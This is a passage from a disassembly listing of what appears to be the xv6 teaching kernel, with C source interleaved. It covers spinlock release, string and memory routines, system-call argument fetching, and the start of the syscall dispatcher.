80104493: 8b 88 ac 00 00 00 mov 0xac(%eax),%ecx
80104499: 8d 51 ff lea -0x1(%ecx),%edx
8010449c: 85 d2 test %edx,%edx
8010449e: 89 90 ac 00 00 00 mov %edx,0xac(%eax)
801044a4: 78 0f js 801044b5 <popcli+0x35>
panic("popcli");
if(cpu->ncli == 0 && cpu->intena)
801044a6: 75 0b jne 801044b3 <popcli+0x33>
801044a8: 8b 80 b0 00 00 00 mov 0xb0(%eax),%eax
801044ae: 85 c0 test %eax,%eax
801044b0: 74 01 je 801044b3 <popcli+0x33>
}
static inline void
sti(void)
{
asm volatile("sti");
801044b2: fb sti
sti();
}
801044b3: c9 leave
801044b4: c3 ret
popcli(void)
{
if(readeflags()&FL_IF)
panic("popcli - interruptible");
if(--cpu->ncli < 0)
panic("popcli");
801044b5: c7 04 24 a2 76 10 80 movl $0x801076a2,(%esp)
801044bc: e8 9f be ff ff call 80100360 <panic>
void
popcli(void)
{
if(readeflags()&FL_IF)
panic("popcli - interruptible");
801044c1: c7 04 24 8b 76 10 80 movl $0x8010768b,(%esp)
801044c8: e8 93 be ff ff call 80100360 <panic>
801044cd: 8d 76 00 lea 0x0(%esi),%esi
801044d0 <release>:
}
// Release the lock.
void
release(struct spinlock *lk)
{
801044d0: 55 push %ebp
801044d1: 89 e5 mov %esp,%ebp
801044d3: 83 ec 18 sub $0x18,%esp
801044d6: 8b 45 08 mov 0x8(%ebp),%eax
// Check whether this cpu is holding the lock.
int
holding(struct spinlock *lock)
{
return lock->locked && lock->cpu == cpu;
801044d9: 8b 10 mov (%eax),%edx
801044db: 85 d2 test %edx,%edx
801044dd: 74 0c je 801044eb <release+0x1b>
801044df: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
801044e6: 39 50 08 cmp %edx,0x8(%eax)
801044e9: 74 0d je 801044f8 <release+0x28>
// Release the lock.
void
release(struct spinlock *lk)
{
if(!holding(lk))
panic("release");
801044eb: c7 04 24 a9 76 10 80 movl $0x801076a9,(%esp)
801044f2: e8 69 be ff ff call 80100360 <panic>
801044f7: 90 nop
lk->pcs[0] = 0;
801044f8: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
lk->cpu = 0;
801044ff: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
// Tell the C compiler and the processor to not move loads or stores
// past this point, to ensure that all the stores in the critical
// section are visible to other cores before the lock is released.
// Both the C compiler and the hardware may re-order loads and
// stores; __sync_synchronize() tells them both not to.
__sync_synchronize();
80104506: f0 83 0c 24 00 lock orl $0x0,(%esp)
// Release the lock, equivalent to lk->locked = 0.
// This code can't use a C assignment, since it might
// not be atomic. A real OS would use C atomics here.
asm volatile("movl $0, %0" : "+m" (lk->locked) : );
8010450b: c7 00 00 00 00 00 movl $0x0,(%eax)
popcli();
}
80104511: c9 leave
// Release the lock, equivalent to lk->locked = 0.
// This code can't use a C assignment, since it might
// not be atomic. A real OS would use C atomics here.
asm volatile("movl $0, %0" : "+m" (lk->locked) : );
popcli();
80104512: e9 69 ff ff ff jmp 80104480 <popcli>
80104517: 66 90 xchg %ax,%ax
80104519: 66 90 xchg %ax,%ax
8010451b: 66 90 xchg %ax,%ax
8010451d: 66 90 xchg %ax,%ax
8010451f: 90 nop
80104520 <memset>:
80104520: 55 push %ebp
80104521: 89 e5 mov %esp,%ebp
80104523: 57 push %edi
80104524: 53 push %ebx
80104525: 8b 55 08 mov 0x8(%ebp),%edx
80104528: 8b 4d 10 mov 0x10(%ebp),%ecx
8010452b: f6 c2 03 test $0x3,%dl
8010452e: 75 05 jne 80104535 <memset+0x15>
80104530: f6 c1 03 test $0x3,%cl
80104533: 74 13 je 80104548 <memset+0x28>
80104535: 89 d7 mov %edx,%edi
80104537: 8b 45 0c mov 0xc(%ebp),%eax
8010453a: fc cld
8010453b: f3 aa rep stos %al,%es:(%edi)
8010453d: 5b pop %ebx
8010453e: 89 d0 mov %edx,%eax
80104540: 5f pop %edi
80104541: 5d pop %ebp
80104542: c3 ret
80104543: 90 nop
80104544: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104548: 0f b6 7d 0c movzbl 0xc(%ebp),%edi
8010454c: c1 e9 02 shr $0x2,%ecx
8010454f: 89 fb mov %edi,%ebx
80104551: 89 f8 mov %edi,%eax
80104553: c1 e3 18 shl $0x18,%ebx
80104556: c1 e0 10 shl $0x10,%eax
80104559: 09 d8 or %ebx,%eax
8010455b: 09 f8 or %edi,%eax
8010455d: c1 e7 08 shl $0x8,%edi
80104560: 09 f8 or %edi,%eax
80104562: 89 d7 mov %edx,%edi
80104564: fc cld
80104565: f3 ab rep stos %eax,%es:(%edi)
80104567: 5b pop %ebx
80104568: 89 d0 mov %edx,%eax
8010456a: 5f pop %edi
8010456b: 5d pop %ebp
8010456c: c3 ret
8010456d: 8d 76 00 lea 0x0(%esi),%esi
80104570 <memcmp>:
80104570: 55 push %ebp
80104571: 89 e5 mov %esp,%ebp
80104573: 57 push %edi
80104574: 56 push %esi
80104575: 8b 45 10 mov 0x10(%ebp),%eax
80104578: 53 push %ebx
80104579: 8b 75 0c mov 0xc(%ebp),%esi
8010457c: 8b 5d 08 mov 0x8(%ebp),%ebx
8010457f: 85 c0 test %eax,%eax
80104581: 74 29 je 801045ac <memcmp+0x3c>
80104583: 0f b6 13 movzbl (%ebx),%edx
80104586: 0f b6 0e movzbl (%esi),%ecx
80104589: 38 d1 cmp %dl,%cl
8010458b: 75 2b jne 801045b8 <memcmp+0x48>
8010458d: 8d 78 ff lea -0x1(%eax),%edi
80104590: 31 c0 xor %eax,%eax
80104592: eb 14 jmp 801045a8 <memcmp+0x38>
80104594: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104598: 0f b6 54 03 01 movzbl 0x1(%ebx,%eax,1),%edx
8010459d: 83 c0 01 add $0x1,%eax
801045a0: 0f b6 0c 06 movzbl (%esi,%eax,1),%ecx
801045a4: 38 ca cmp %cl,%dl
801045a6: 75 10 jne 801045b8 <memcmp+0x48>
801045a8: 39 f8 cmp %edi,%eax
801045aa: 75 ec jne 80104598 <memcmp+0x28>
801045ac: 5b pop %ebx
801045ad: 31 c0 xor %eax,%eax
801045af: 5e pop %esi
801045b0: 5f pop %edi
801045b1: 5d pop %ebp
801045b2: c3 ret
801045b3: 90 nop
801045b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801045b8: 0f b6 c2 movzbl %dl,%eax
801045bb: 5b pop %ebx
801045bc: 29 c8 sub %ecx,%eax
801045be: 5e pop %esi
801045bf: 5f pop %edi
801045c0: 5d pop %ebp
801045c1: c3 ret
801045c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801045c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801045d0 <memmove>:
801045d0: 55 push %ebp
801045d1: 89 e5 mov %esp,%ebp
801045d3: 56 push %esi
801045d4: 53 push %ebx
801045d5: 8b 45 08 mov 0x8(%ebp),%eax
801045d8: 8b 75 0c mov 0xc(%ebp),%esi
801045db: 8b 5d 10 mov 0x10(%ebp),%ebx
801045de: 39 c6 cmp %eax,%esi
801045e0: 73 2e jae 80104610 <memmove+0x40>
801045e2: 8d 0c 1e lea (%esi,%ebx,1),%ecx
801045e5: 39 c8 cmp %ecx,%eax
801045e7: 73 27 jae 80104610 <memmove+0x40>
801045e9: 85 db test %ebx,%ebx
801045eb: 8d 53 ff lea -0x1(%ebx),%edx
801045ee: 74 17 je 80104607 <memmove+0x37>
801045f0: 29 d9 sub %ebx,%ecx
801045f2: 89 cb mov %ecx,%ebx
801045f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801045f8: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx
801045fc: 88 0c 10 mov %cl,(%eax,%edx,1)
801045ff: 83 ea 01 sub $0x1,%edx
80104602: 83 fa ff cmp $0xffffffff,%edx
80104605: 75 f1 jne 801045f8 <memmove+0x28>
80104607: 5b pop %ebx
80104608: 5e pop %esi
80104609: 5d pop %ebp
8010460a: c3 ret
8010460b: 90 nop
8010460c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104610: 31 d2 xor %edx,%edx
80104612: 85 db test %ebx,%ebx
80104614: 74 f1 je 80104607 <memmove+0x37>
80104616: 8d 76 00 lea 0x0(%esi),%esi
80104619: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104620: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
80104624: 88 0c 10 mov %cl,(%eax,%edx,1)
80104627: 83 c2 01 add $0x1,%edx
8010462a: 39 d3 cmp %edx,%ebx
8010462c: 75 f2 jne 80104620 <memmove+0x50>
8010462e: 5b pop %ebx
8010462f: 5e pop %esi
80104630: 5d pop %ebp
80104631: c3 ret
80104632: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104639: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104640 <memcpy>:
80104640: 55 push %ebp
80104641: 89 e5 mov %esp,%ebp
80104643: 5d pop %ebp
80104644: eb 8a jmp 801045d0 <memmove>
80104646: 8d 76 00 lea 0x0(%esi),%esi
80104649: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104650 <strncmp>:
80104650: 55 push %ebp
80104651: 89 e5 mov %esp,%ebp
80104653: 57 push %edi
80104654: 56 push %esi
80104655: 8b 4d 10 mov 0x10(%ebp),%ecx
80104658: 53 push %ebx
80104659: 8b 7d 08 mov 0x8(%ebp),%edi
8010465c: 8b 75 0c mov 0xc(%ebp),%esi
8010465f: 85 c9 test %ecx,%ecx
80104661: 74 37 je 8010469a <strncmp+0x4a>
80104663: 0f b6 17 movzbl (%edi),%edx
80104666: 0f b6 1e movzbl (%esi),%ebx
80104669: 84 d2 test %dl,%dl
8010466b: 74 3f je 801046ac <strncmp+0x5c>
8010466d: 38 d3 cmp %dl,%bl
8010466f: 75 3b jne 801046ac <strncmp+0x5c>
80104671: 8d 47 01 lea 0x1(%edi),%eax
80104674: 01 cf add %ecx,%edi
80104676: eb 1b jmp 80104693 <strncmp+0x43>
80104678: 90 nop
80104679: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104680: 0f b6 10 movzbl (%eax),%edx
80104683: 84 d2 test %dl,%dl
80104685: 74 21 je 801046a8 <strncmp+0x58>
80104687: 0f b6 19 movzbl (%ecx),%ebx
8010468a: 83 c0 01 add $0x1,%eax
8010468d: 89 ce mov %ecx,%esi
8010468f: 38 da cmp %bl,%dl
80104691: 75 19 jne 801046ac <strncmp+0x5c>
80104693: 39 c7 cmp %eax,%edi
80104695: 8d 4e 01 lea 0x1(%esi),%ecx
80104698: 75 e6 jne 80104680 <strncmp+0x30>
8010469a: 5b pop %ebx
8010469b: 31 c0 xor %eax,%eax
8010469d: 5e pop %esi
8010469e: 5f pop %edi
8010469f: 5d pop %ebp
801046a0: c3 ret
801046a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801046a8: 0f b6 5e 01 movzbl 0x1(%esi),%ebx
801046ac: 0f b6 c2 movzbl %dl,%eax
801046af: 29 d8 sub %ebx,%eax
801046b1: 5b pop %ebx
801046b2: 5e pop %esi
801046b3: 5f pop %edi
801046b4: 5d pop %ebp
801046b5: c3 ret
801046b6: 8d 76 00 lea 0x0(%esi),%esi
801046b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801046c0 <strncpy>:
801046c0: 55 push %ebp
801046c1: 89 e5 mov %esp,%ebp
801046c3: 56 push %esi
801046c4: 53 push %ebx
801046c5: 8b 45 08 mov 0x8(%ebp),%eax
801046c8: 8b 5d 0c mov 0xc(%ebp),%ebx
801046cb: 8b 4d 10 mov 0x10(%ebp),%ecx
801046ce: 89 c2 mov %eax,%edx
801046d0: eb 19 jmp 801046eb <strncpy+0x2b>
801046d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801046d8: 83 c3 01 add $0x1,%ebx
801046db: 0f b6 4b ff movzbl -0x1(%ebx),%ecx
801046df: 83 c2 01 add $0x1,%edx
801046e2: 84 c9 test %cl,%cl
801046e4: 88 4a ff mov %cl,-0x1(%edx)
801046e7: 74 09 je 801046f2 <strncpy+0x32>
801046e9: 89 f1 mov %esi,%ecx
801046eb: 85 c9 test %ecx,%ecx
801046ed: 8d 71 ff lea -0x1(%ecx),%esi
801046f0: 7f e6 jg 801046d8 <strncpy+0x18>
801046f2: 31 c9 xor %ecx,%ecx
801046f4: 85 f6 test %esi,%esi
801046f6: 7e 17 jle 8010470f <strncpy+0x4f>
801046f8: 90 nop
801046f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104700: c6 04 0a 00 movb $0x0,(%edx,%ecx,1)
80104704: 89 f3 mov %esi,%ebx
80104706: 83 c1 01 add $0x1,%ecx
80104709: 29 cb sub %ecx,%ebx
8010470b: 85 db test %ebx,%ebx
8010470d: 7f f1 jg 80104700 <strncpy+0x40>
8010470f: 5b pop %ebx
80104710: 5e pop %esi
80104711: 5d pop %ebp
80104712: c3 ret
80104713: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104719: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104720 <safestrcpy>:
80104720: 55 push %ebp
80104721: 89 e5 mov %esp,%ebp
80104723: 56 push %esi
80104724: 53 push %ebx
80104725: 8b 4d 10 mov 0x10(%ebp),%ecx
80104728: 8b 45 08 mov 0x8(%ebp),%eax
8010472b: 8b 55 0c mov 0xc(%ebp),%edx
8010472e: 85 c9 test %ecx,%ecx
80104730: 7e 26 jle 80104758 <safestrcpy+0x38>
80104732: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi
80104736: 89 c1 mov %eax,%ecx
80104738: eb 17 jmp 80104751 <safestrcpy+0x31>
8010473a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104740: 83 c2 01 add $0x1,%edx
80104743: 0f b6 5a ff movzbl -0x1(%edx),%ebx
80104747: 83 c1 01 add $0x1,%ecx
8010474a: 84 db test %bl,%bl
8010474c: 88 59 ff mov %bl,-0x1(%ecx)
8010474f: 74 04 je 80104755 <safestrcpy+0x35>
80104751: 39 f2 cmp %esi,%edx
80104753: 75 eb jne 80104740 <safestrcpy+0x20>
80104755: c6 01 00 movb $0x0,(%ecx)
80104758: 5b pop %ebx
80104759: 5e pop %esi
8010475a: 5d pop %ebp
8010475b: c3 ret
8010475c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104760 <strlen>:
80104760: 55 push %ebp
80104761: 31 c0 xor %eax,%eax
80104763: 89 e5 mov %esp,%ebp
80104765: 8b 55 08 mov 0x8(%ebp),%edx
80104768: 80 3a 00 cmpb $0x0,(%edx)
8010476b: 74 0c je 80104779 <strlen+0x19>
8010476d: 8d 76 00 lea 0x0(%esi),%esi
80104770: 83 c0 01 add $0x1,%eax
80104773: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
80104777: 75 f7 jne 80104770 <strlen+0x10>
80104779: 5d pop %ebp
8010477a: c3 ret
8010477b <swtch>:
8010477b: 8b 44 24 04 mov 0x4(%esp),%eax
8010477f: 8b 54 24 08 mov 0x8(%esp),%edx
80104783: 55 push %ebp
80104784: 53 push %ebx
80104785: 56 push %esi
80104786: 57 push %edi
80104787: 89 20 mov %esp,(%eax)
80104789: 89 d4 mov %edx,%esp
8010478b: 5f pop %edi
8010478c: 5e pop %esi
8010478d: 5b pop %ebx
8010478e: 5d pop %ebp
8010478f: c3 ret
80104790 <fetchint>:
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
80104790: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
// to a saved program counter, and then the first argument.
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
80104797: 55 push %ebp
80104798: 89 e5 mov %esp,%ebp
8010479a: 8b 45 08 mov 0x8(%ebp),%eax
if(addr >= proc->sz || addr+4 > proc->sz)
8010479d: 8b 12 mov (%edx),%edx
8010479f: 39 c2 cmp %eax,%edx
801047a1: 76 15 jbe 801047b8 <fetchint+0x28>
801047a3: 8d 48 04 lea 0x4(%eax),%ecx
801047a6: 39 ca cmp %ecx,%edx
801047a8: 72 0e jb 801047b8 <fetchint+0x28>
return -1;
*ip = *(int*)(addr);
801047aa: 8b 10 mov (%eax),%edx
801047ac: 8b 45 0c mov 0xc(%ebp),%eax
801047af: 89 10 mov %edx,(%eax)
return 0;
801047b1: 31 c0 xor %eax,%eax
}
801047b3: 5d pop %ebp
801047b4: c3 ret
801047b5: 8d 76 00 lea 0x0(%esi),%esi
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
return -1;
801047b8: b8 ff ff ff ff mov $0xffffffff,%eax
*ip = *(int*)(addr);
return 0;
}
801047bd: 5d pop %ebp
801047be: c3 ret
801047bf: 90 nop
801047c0 <fetchstr>:
int
fetchstr(uint addr, char **pp)
{
char *s, *ep;
if(addr >= proc->sz)
801047c0: 65 a1 04 00 00 00 mov %gs:0x4,%eax
// Fetch the nul-terminated string at addr from the current process.
// Doesn't actually copy the string - just sets *pp to point at it.
// Returns length of string, not including nul.
int
fetchstr(uint addr, char **pp)
{
801047c6: 55 push %ebp
801047c7: 89 e5 mov %esp,%ebp
801047c9: 8b 4d 08 mov 0x8(%ebp),%ecx
char *s, *ep;
if(addr >= proc->sz)
801047cc: 39 08 cmp %ecx,(%eax)
801047ce: 76 2c jbe 801047fc <fetchstr+0x3c>
return -1;
*pp = (char*)addr;
801047d0: 8b 55 0c mov 0xc(%ebp),%edx
801047d3: 89 c8 mov %ecx,%eax
801047d5: 89 0a mov %ecx,(%edx)
ep = (char*)proc->sz;
801047d7: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
801047de: 8b 12 mov (%edx),%edx
for(s = *pp; s < ep; s++)
801047e0: 39 d1 cmp %edx,%ecx
801047e2: 73 18 jae 801047fc <fetchstr+0x3c>
if(*s == 0)
801047e4: 80 39 00 cmpb $0x0,(%ecx)
801047e7: 75 0c jne 801047f5 <fetchstr+0x35>
801047e9: eb 1d jmp 80104808 <fetchstr+0x48>
801047eb: 90 nop
801047ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801047f0: 80 38 00 cmpb $0x0,(%eax)
801047f3: 74 13 je 80104808 <fetchstr+0x48>
if(addr >= proc->sz)
return -1;
*pp = (char*)addr;
ep = (char*)proc->sz;
for(s = *pp; s < ep; s++)
801047f5: 83 c0 01 add $0x1,%eax
801047f8: 39 c2 cmp %eax,%edx
801047fa: 77 f4 ja 801047f0 <fetchstr+0x30>
fetchstr(uint addr, char **pp)
{
char *s, *ep;
if(addr >= proc->sz)
return -1;
801047fc: b8 ff ff ff ff mov $0xffffffff,%eax
ep = (char*)proc->sz;
for(s = *pp; s < ep; s++)
if(*s == 0)
return s - *pp;
return -1;
}
80104801: 5d pop %ebp
80104802: c3 ret
80104803: 90 nop
80104804: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
*pp = (char*)addr;
ep = (char*)proc->sz;
for(s = *pp; s < ep; s++)
if(*s == 0)
return s - *pp;
80104808: 29 c8 sub %ecx,%eax
return -1;
}
8010480a: 5d pop %ebp
8010480b: c3 ret
8010480c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104810 <argint>:
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
80104810: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
}
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
80104817: 55 push %ebp
80104818: 89 e5 mov %esp,%ebp
return fetchint(proc->tf->esp + 4 + 4*n, ip);
8010481a: 8b 4d 08 mov 0x8(%ebp),%ecx
8010481d: 8b 42 18 mov 0x18(%edx),%eax
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
80104820: 8b 12 mov (%edx),%edx
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
80104822: 8b 40 44 mov 0x44(%eax),%eax
80104825: 8d 04 88 lea (%eax,%ecx,4),%eax
80104828: 8d 48 04 lea 0x4(%eax),%ecx
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
8010482b: 39 d1 cmp %edx,%ecx
8010482d: 73 19 jae 80104848 <argint+0x38>
8010482f: 8d 48 08 lea 0x8(%eax),%ecx
80104832: 39 ca cmp %ecx,%edx
80104834: 72 12 jb 80104848 <argint+0x38>
return -1;
*ip = *(int*)(addr);
80104836: 8b 50 04 mov 0x4(%eax),%edx
80104839: 8b 45 0c mov 0xc(%ebp),%eax
8010483c: 89 10 mov %edx,(%eax)
return 0;
8010483e: 31 c0 xor %eax,%eax
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
}
80104840: 5d pop %ebp
80104841: c3 ret
80104842: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
return -1;
80104848: b8 ff ff ff ff mov $0xffffffff,%eax
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
}
8010484d: 5d pop %ebp
8010484e: c3 ret
8010484f: 90 nop
80104850 <argptr>:
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
80104850: 65 a1 04 00 00 00 mov %gs:0x4,%eax
// Fetch the nth word-sized system call argument as a pointer
// to a block of memory of size bytes. Check that the pointer
// lies within the process address space.
int
argptr(int n, char **pp, int size)
{
80104856: 55 push %ebp
80104857: 89 e5 mov %esp,%ebp
80104859: 53 push %ebx
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
8010485a: 8b 4d 08 mov 0x8(%ebp),%ecx
8010485d: 8b 50 18 mov 0x18(%eax),%edx
80104860: 8b 52 44 mov 0x44(%edx),%edx
80104863: 8d 0c 8a lea (%edx,%ecx,4),%ecx
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
80104866: 8b 10 mov (%eax),%edx
argptr(int n, char **pp, int size)
{
int i;
if(argint(n, &i) < 0)
return -1;
80104868: b8 ff ff ff ff mov $0xffffffff,%eax
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
8010486d: 8d 59 04 lea 0x4(%ecx),%ebx
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
80104870: 39 d3 cmp %edx,%ebx
80104872: 73 25 jae 80104899 <argptr+0x49>
80104874: 8d 59 08 lea 0x8(%ecx),%ebx
80104877: 39 da cmp %ebx,%edx
80104879: 72 1e jb 80104899 <argptr+0x49>
{
int i;
if(argint(n, &i) < 0)
return -1;
if(size < 0 || (uint)i >= proc->sz || (uint)i+size > proc->sz)
8010487b: 8b 5d 10 mov 0x10(%ebp),%ebx
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
return -1;
*ip = *(int*)(addr);
8010487e: 8b 49 04 mov 0x4(%ecx),%ecx
{
int i;
if(argint(n, &i) < 0)
return -1;
if(size < 0 || (uint)i >= proc->sz || (uint)i+size > proc->sz)
80104881: 85 db test %ebx,%ebx
80104883: 78 14 js 80104899 <argptr+0x49>
80104885: 39 d1 cmp %edx,%ecx
80104887: 73 10 jae 80104899 <argptr+0x49>
80104889: 8b 5d 10 mov 0x10(%ebp),%ebx
8010488c: 01 cb add %ecx,%ebx
8010488e: 39 d3 cmp %edx,%ebx
80104890: 77 07 ja 80104899 <argptr+0x49>
return -1;
*pp = (char*)i;
80104892: 8b 45 0c mov 0xc(%ebp),%eax
80104895: 89 08 mov %ecx,(%eax)
return 0;
80104897: 31 c0 xor %eax,%eax
}
80104899: 5b pop %ebx
8010489a: 5d pop %ebp
8010489b: c3 ret
8010489c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801048a0 <argstr>:
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
801048a0: 65 a1 04 00 00 00 mov %gs:0x4,%eax
// Check that the pointer is valid and the string is nul-terminated.
// (There is no shared writable memory, so the string can't change
// between this check and being used by the kernel.)
int
argstr(int n, char **pp)
{
801048a6: 55 push %ebp
801048a7: 89 e5 mov %esp,%ebp
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
801048a9: 8b 4d 08 mov 0x8(%ebp),%ecx
801048ac: 8b 50 18 mov 0x18(%eax),%edx
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
801048af: 8b 00 mov (%eax),%eax
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
return fetchint(proc->tf->esp + 4 + 4*n, ip);
801048b1: 8b 52 44 mov 0x44(%edx),%edx
801048b4: 8d 14 8a lea (%edx,%ecx,4),%edx
801048b7: 8d 4a 04 lea 0x4(%edx),%ecx
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
801048ba: 39 c1 cmp %eax,%ecx
801048bc: 73 07 jae 801048c5 <argstr+0x25>
801048be: 8d 4a 08 lea 0x8(%edx),%ecx
801048c1: 39 c8 cmp %ecx,%eax
801048c3: 73 0b jae 801048d0 <argstr+0x30>
int
argstr(int n, char **pp)
{
int addr;
if(argint(n, &addr) < 0)
return -1;
801048c5: b8 ff ff ff ff mov $0xffffffff,%eax
return fetchstr(addr, pp);
}
801048ca: 5d pop %ebp
801048cb: c3 ret
801048cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
int
fetchint(uint addr, int *ip)
{
if(addr >= proc->sz || addr+4 > proc->sz)
return -1;
*ip = *(int*)(addr);
801048d0: 8b 4a 04 mov 0x4(%edx),%ecx
int
fetchstr(uint addr, char **pp)
{
char *s, *ep;
if(addr >= proc->sz)
801048d3: 39 c1 cmp %eax,%ecx
801048d5: 73 ee jae 801048c5 <argstr+0x25>
return -1;
*pp = (char*)addr;
801048d7: 8b 55 0c mov 0xc(%ebp),%edx
801048da: 89 c8 mov %ecx,%eax
801048dc: 89 0a mov %ecx,(%edx)
ep = (char*)proc->sz;
801048de: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
801048e5: 8b 12 mov (%edx),%edx
for(s = *pp; s < ep; s++)
801048e7: 39 d1 cmp %edx,%ecx
801048e9: 73 da jae 801048c5 <argstr+0x25>
if(*s == 0)
801048eb: 80 39 00 cmpb $0x0,(%ecx)
801048ee: 75 12 jne 80104902 <argstr+0x62>
801048f0: eb 1e jmp 80104910 <argstr+0x70>
801048f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801048f8: 80 38 00 cmpb $0x0,(%eax)
801048fb: 90 nop
801048fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104900: 74 0e je 80104910 <argstr+0x70>
if(addr >= proc->sz)
return -1;
*pp = (char*)addr;
ep = (char*)proc->sz;
for(s = *pp; s < ep; s++)
80104902: 83 c0 01 add $0x1,%eax
80104905: 39 c2 cmp %eax,%edx
80104907: 77 ef ja 801048f8 <argstr+0x58>
80104909: eb ba jmp 801048c5 <argstr+0x25>
8010490b: 90 nop
8010490c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(*s == 0)
return s - *pp;
80104910: 29 c8 sub %ecx,%eax
{
int addr;
if(argint(n, &addr) < 0)
return -1;
return fetchstr(addr, pp);
}
80104912: 5d pop %ebp
80104913: c3 ret
80104914: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010491a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80104920 <syscall>:
[SYS_chpr] sys_chpr,
};
void
syscall(void)
{
80104920: 55 push %ebp
80104921: 89 e5 mov %esp,%ebp
80104923: 53 push %ebx
80104924: 83 ec 14 sub $0x14,%esp
int num;
num = proc->tf->eax;
80104927: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
8010492e: 8b 5a 18 mov 0x18(%edx),%ebx
80104931: 8b 43 1c mov 0x1c(%ebx),%eax
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
80104934: 8d 48 ff lea -0x1(%eax),%ecx
80104937: 83 f9 17 cmp $0x17,%ecx
8010493a: 77 1c ja 80104958 <syscall+0x38>
8010493c: 8b 0c 85 e0 76 10 80 mov -0x7fef8920(,%eax,4),%ecx
80104943: 85 c9 test %ecx,%ecx
80104945: 74 11 je 80104958 <syscall+0x38>
proc->tf->eax = syscalls[num]();
80104947: ff d1 call *%ecx
80104949: 89 43 1c mov %eax,0x1c(%ebx)
} else {
cprintf("%d %s: unknown sys call %d\n",
proc->pid, proc->name, num);
proc->tf->eax = -1;
}
}
8010494c: 83 c4 14 add $0x14,%esp
8010494f: 5b pop %ebx
80104950: 5d pop %ebp
80104951: c3 ret
80104952: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
num = proc->tf->eax;
